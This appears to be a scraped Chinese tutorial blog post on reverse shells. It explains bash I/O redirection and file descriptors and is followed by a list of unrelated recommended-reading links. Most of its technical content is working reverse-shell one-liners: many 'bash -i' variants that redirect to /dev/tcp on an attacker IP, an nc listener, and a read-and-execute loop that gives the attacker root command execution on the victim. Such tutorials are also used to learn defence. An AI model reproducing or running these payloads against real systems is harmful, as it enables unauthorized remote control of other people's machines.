nc -lvp 2333 Connection from victim_ip:23610qwerasdf
在攻击机传输的内容会被重定向到靶机 。
输入重定向原理:
文章插图
掌握了上面的原理 , 可以随意构建反弹shell命令:
攻击:
nc -lvp 2333
靶机:bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0
或:bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 bash -i < /dev/tcp/ip/2333 >&0 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0
其他变形:bash -i 1>& /dev/tcp/ip/port 0>&1 bash -i 1>& /dev/tcp/ip/port 0>&2 bash -i &> /dev/tcp/ip/port 0>&1 bash -i &> /dev/tcp/ip/port 0>&2
bash -i后的&>或>&表示混合输出 , 即标准输出1 + 错误输出2bash 和 sh 的一点儿区别
sh 遵循POSIX规范:“当某行代码出错时 , 不继续往下解释” 。bash 就算出错 , 也会继续向下执行 。
简单说 , sh是bash的一种特殊的模式 , sh就是开启了POSIX标准的bash , /bin/sh 相当于 /bin/bash --posix
在Linux系统上/bin/sh往往是指向/bin/bash的符号链接
ln -s /bin/bash /bin/sh
其他变形Unix操作系统通常给每个进程能打开的文件数量强加一个限制 , ulimit -n查看系统默认的文件描述符个数 。例如:
# ulimit -n655360
表示系统支持的文件描述符 0-655359page 1:
打开"File"并且将fd 655359分配给它:
[j]<>filename# 为了读写"filename", 把文件"filename"打开, 并且将文件描述符"j"分配给它.# 如果文件"filename"不存在, 那么就创建它.
eg:exec 655359<> File
文章插图
&- 关闭标准输出
n&- 表示将n号输出关闭
page2:
攻击机:
[root@attacker]# nc -lvp 2333 # 第一步Connection from victim_ip:46414helloworld # 第三步123
受害机:[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333 # 第二步[root@victim]# cat <&65534helloworld123
受害机的文件描述符同步读取到攻击机的写入 。page3:
[root@attacker]# nc -lvp 2333Connection from victim_ip:46536id11
受害机:[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;doneuid=0(root) gid=0(root) groups=0(root)-bash: 11: command not found
【反弹shell那些事儿】
推荐阅读
- 几例实用shell脚本分享
- 高级互联网运维都需要掌握那些技术?
- 用荷叶怎么减肥,荷叶灰减肥会反弹吗怎么吃才能减肥呢
- 二年级励志名言名句?励志名言名句大全
- 两个方法干掉代码中那些复杂的if-else
- SQL—大数据环境的重要工具
- 浣碧的演员,浣碧演过什么电视剧
- 帕金森按摩那些六位
- 小白7天掌握Shell编程:脚本的创建和执行
- 那些惊艳的算法—时间轮算法